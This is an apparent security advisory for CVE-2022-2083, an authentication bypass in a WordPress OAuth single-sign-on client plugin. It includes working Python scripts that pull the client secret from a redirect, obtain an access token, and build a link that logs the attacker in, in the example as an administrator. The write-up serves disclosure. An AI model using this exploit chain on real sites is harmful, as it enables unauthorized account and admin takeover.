

# Simple Single Sign On by Dash10 Digital WordPress plugin Authentication Bypass

LANAVDB ID: 0bab7575-45fc-432d-945e-6100c35c574c

The plugin was affected by an Auth Bypass security vulnerability. Depending on the settings of the OAuth server, we may even be given an administrative role on the client's website.

The essence of OAuth authentication is that the user is authenticated by another server, in our case another WordPress website with an OAuth server plugin. But the vulnerability is in the OAuth client plugin.

## Let's try and test the plugin

Let's take an example. When we click the `Single Sign On` button, the plugin redirects us to the OAuth server to authenticate ourselves if we are not logged in.

The button invokes the following URL:

```
https://lana.solutions/vdb/dash10-digital-oauth-client/?auth=sso
```

As a user, we can see from the browser that the client plugin redirects us to the following URL:

```
https://lana.solutions/vdb/dash10-digital-oauth-server/wp-login.php?
redirect_to=https%3A%2F%2Flana.solutions%2Fvdb%2Fdash10-digital-oauth-server%2Foauth%2Fauthorize%3Foauth%3D
```

In the URL we can find a `redirect_to` parameter (also known as "query strings"), to which the OAuth server should redirect us after a successful login.

The parameter is encoded, but we can simply decode it.

```
import urllib.parse

encoded_str = 'https%3A%2F%2Flana.solutions%2Fvdb%2Fdash10-digital-oauth-server%2Foauth%2Fauthorize%3Foauth%3D'

print(urllib.parse.unquote(encoded_str))
```

After successful decoding, we get the following URL:


```
https://lana.solutions/vdb/dash10-digital-oauth-server/oauth/authorize?oauth=authorize
&response_type=code
&client_id=A7h8AfabvPH462WLGbcD6Ljb8IOE2tR9uDjva2TW
&client_secret=ufMq5A63dGK0xw335SxyQKCncumxZ2ZILnFk1Mil
&redirect_uri=https://lana.solutions/vdb/dash10-digital-oauth-client/?auth=sso
&state=https://lana.solutions/vdb/dash10-digital-oauth-client
```

As we can see, the URL contains the `client_secret` token.

## What is client secret?

`client_secret` (also known as "client password") as its name implies, is a secret token that we as a user (or in other words, unauthenticated visitor) should not know.

OAuth 2.0 standard description for Client Secret: [tools.ietf.org/html/rfc6749#section-2.3.1](https://tools.ietf.org/html/rfc6749#section-2.3.1) 

The plugin uses the Authorization Code Grant Type for authentication, but it is not necessary to specify the `client_secret` token in the [Authorization Request](#) . In fact, it is forbidden, because it is a sensitive parameter.

OAuth 2.0 standard description for Authorization Code Grant: [tools.ietf.org/html/rfc6749#section-4.1](https://tools.ietf.org/html/rfc6749#section-4.1) 

So this should not be included in the URL. This is a vulnerability.

## Can we get the token more easily?

Of course, because the client plugin first redirected us to the URL in the `redirect_to` parameter, but since we were not logged in, the OAuth server redirected us to the WordPress login. If we do not follow the redirection, we can get the parameters more easily, and we don't have to decode them either.

I created a Python script that returns the `client_id` and the `client_secret` parameters, all we have to do is specify the URL of the client website in the code:

```
import requests
from urllib.parse import urlparse, parse_qs

client_url='https://lana.solutions/vdb/dash10-digital-oauth-client/'

response=requests.get(client_url, params={'auth':'sso'}, allow_redirects=False)

redirect_url=urlparse(response.headers['Location'])
client_id=parse_qs(redirect_url.query)['client_id'][0]
client_secret=parse_qs(redirect_url.query)['client_secret'][0]

print('client_id: %s' % client_id)
print('client_secret: %s' % client_secret)
```

the script returns the token as a string:

```
client_id: A7h8AfabvPH462WLGbcD6Ljb8IOE2tR9uDjva2TW
client_secret: ufMq5A63dGKOxW335SXYQKCncumxZ2ZILnFk1Mi1
```

Then we can use the token for authentication.

## Let's see how we can exploit this vulnerability

OAuth 2.0 standard description for Client Credentials Grant: [tools.ietf.org/html/rfc6749#section-4.4](https://tools.ietf.org/html/rfc6749#section-4.4) 

As described in the standard:



The client can request an access token using only its client credentials

So, using `client_id` and `client_secret`, we can identify ourselves on the OAuth server.

We can authenticate ourselves on the OAuth server using `client_id` and `client_secret`. We only need these two parameters, whose collective name is client credentials.

**Note:** Simple Single Sign On WordPress plugin was developed primarily for the WP OAuth Server by Dash10 Digital. However, Client Credentials Grant Type is not available in the free version, only in the Pro version. Thus, this vulnerability cannot be exploited with the free OAuth Server plugin.

But let's do it, we have the Pro plugin, let's take an example.

I created a Python script for the exploit that sends a POST request to the OAuth server:

```

import requests
import json

client_id='A7h8AfabvPH462WLGbcD6Ljb8IOE2tR9uDjva2TW'
client_secret='ufMq5A63dGKOxW335SxyQKCncumxZ2ZILnFk1Mil'

access_token_url='https://lana.solutions/vdb/dash10-digital-oauth-server/oauth/token'

response=requests.post(access_token_url, data={'grant_type':'client_credentials'}, auth=(client_id, client_secret))

print(json.dumps(json.loads(response.text), indent=2))

```

Then the response will be a JSON:

```

{
  "access_token": "o13epofqkmr0c0ghbqsvorr4o7i59vn02mh184ki",
  "token_type": "Bearer",
  "scope": "basic"
}

```

The request was successful, and we received an `access_token` that we could use to retrieve resources from the server.

So, I created another Python script that sends a POST request to the OAuth server to get user data:

```

import requests
import json

access_token='o13epofqkmr0c0ghbqsvorr4o7i59vn02mh184ki'

resource_url='https://lana.solutions/vdb/dash10-digital-oauth-server/oauth/me'

response=requests.post(resource_url, data={'access_token':access_token})

print(json.dumps(json.loads(response.text), indent=2))

```

This script is for testing purposes, so we can see that the access token is working, and a user is also assigned to the client.

Then the response will be a JSON:

```

{
  "ID": "1",
  "user_login": "admin",
  "user_nicename": "admin",
  "user_email": "info@lana.codes",
  "display_name": "admin",
  "user_roles": [
    "administrator"
  ],
  "capabilities": {
    ...
  }
}

```

The request was successful, and the server returned the user information associated with the client that we used to log in.

We were able to authenticate ourselves in the OAuth server without logging in anywhere or without knowing any user data or even passwords.

Then let's get to the point. To exploit the vulnerability, all we have to do is open the following URL in our browser:

```
https://lana.solutions/vdb/dash10-digital-oauth-server/oauth/authorize?response_type=code
&client_id=A7h8AfabvPH462WLGbcD6Ljb8IOE2tR9uDjva2TW
&access_token=25jf20dkztj4d1lu1dk4cqkxnzeasbgnsneuaqv7
```

Because we identified ourselves with `access_token`, the OAuth server generates the auth code and redirects us to the client:

```
https://lana.solutions/vdb/dash10-digital-oauth-client/?auth=sso
&code=pdqmgc5lpvqkmrkfthtmeern1ma6nfdnuf3vce1
```

What does the plugin do in the background when we open the URL?

Note: For easy transparency and comprehensibility, I have simplified the PHP code of the plugin, the plugin is more complex, with more variables and controls.

First requests an `access_token` from the server:

```
$response = wp_remote_post( $server_url . '?oauth=token', array(
    'body' => array(
        'grant_type' => 'authorization_code',
        'code'       => $_GET['code'],
        'client_id'  => $client_id,
        'client_secret' => $client_secret,
    ),
) );
```

The plugin gets the token in the response.

After then queries the user:

```
$reponse = wp_remote_get( $server_url . '?oauth=me&access_token=' . $access_token );
```

The plugin receives the user information in response, if the user exists, it logs in, if it does not exist, it creates a user with the specified roles and capabilities, and then logs in to the client's WordPress website:

```
$user_id = username_exists( $reponse_json->user_login );

if(!$user_id){
    $user_id = wp_create_user( $reponse_json->user_login, $random_password );
}

wp_clear_auth_cookie();
wp_set_current_user( $user_id );
wp_set_auth_cookie( $user_id );

wp_safe_redirect( get_dashboard_url() );
```

Finally, redirect us to the WordPress admin dashboard:

```
https://lana.solutions/vdb/dash10-digital-oauth-client/wp-admin/
```

## Try it

Feel free to try and use the [lana.solutions/vdb](https://lana.solutions/vdb/) WordPress websites for testing, because as I mentioned, for this to work, you need the Pro plugin, and it is installed on my website, so try hacking my test websites using the method mentioned above, I have set the roles and capabilities, so you can only get low level access to the website.

Client: <https://lana.solutions/vdb/dash10-digital-oauth-client/> [↗](#)

Server: <https://lana.solutions/vdb/dash10-digital-oauth-server/> [↗](#)

## The exploit script

Source: [dash10\\_digital\\_oauth\\_client\\_plugin\\_vdb\\_get\\_exploit\\_link.py](#) 

How to use:

```
python3 dash10_digital_oauth_client_plugin_vdb_get_exploit_link.py --client_url="https://lana.solutions/vdb/da
```

Run the above command in the Linux terminal.

How the exploit works step by step:

- Get `client_id` and `client_secret` from OAuth client
- Get `access_token` from OAuth server with Client Credentials Grant
- Generate the following URL:

```
{server_url}/oauth/authorize?response_type=code&client_id={client_id}&access_token={access_token}
```

All we have to do is open the link in our browser and log us into the website.

## Note

By now maybe you all realized that I like to write Python scripts, but I also created a Postman collection to test the vulnerability. But any scripting language can exploit the vulnerability, which can send requests.

## References

Source Code	<a href="https://wordpress.org/plugins/single-sign-on-client/">https://wordpress.org/plugins/single-sign-on-client/</a>
Source Code (Archive)	<a href="https://lana.solutions/files/single-sign-on-client-4.1.0.zip">https://lana.solutions/files/single-sign-on-client-4.1.0.zip</a>
Repository	<a href="https://plugins.svn.wordpress.org/single-sign-on-client/?p=2603039">https://plugins.svn.wordpress.org/single-sign-on-client/?p=2603039</a>
WPScan	<a href="https://wpscan.com/vulnerability/2bbfc855-6901-462f-8a93-120d7fb5d268">https://wpscan.com/vulnerability/2bbfc855-6901-462f-8a93-120d7fb5d268</a>
CVE	<a href="#">CVE-2022-2083</a>

## Attributes

Catgory	WordPress Plugin
Published	2022-06-04
Updated	2022-08-09
Affected Version	<= 4.1.0

# Classification

Type

Auth Bypass

## Researcher

Name

[István Márton](#)

Email

[info@lana.codes](mailto:info@lana.codes)

## Tags

auth bypass

exploit

oauth

php

python

wordpress plugin

## Let's discuss

Comments

Be the first to add a comment

LOG IN TO COMMENT

We are Lana Codes, a team focusing on product development with WordPress.

Lana Codes © 2021 All Rights Reserved.

### General

Front Page  
Case Studies  
Posts  
Privacy Policy  
Cookie Policy

### Product

WordPress Plugins  
WordPress Themes

### Socials

Facebook  
YouTube  
Telegram  
WordPress.org  
LinkedIn

Made with ❤️ by Lana Codes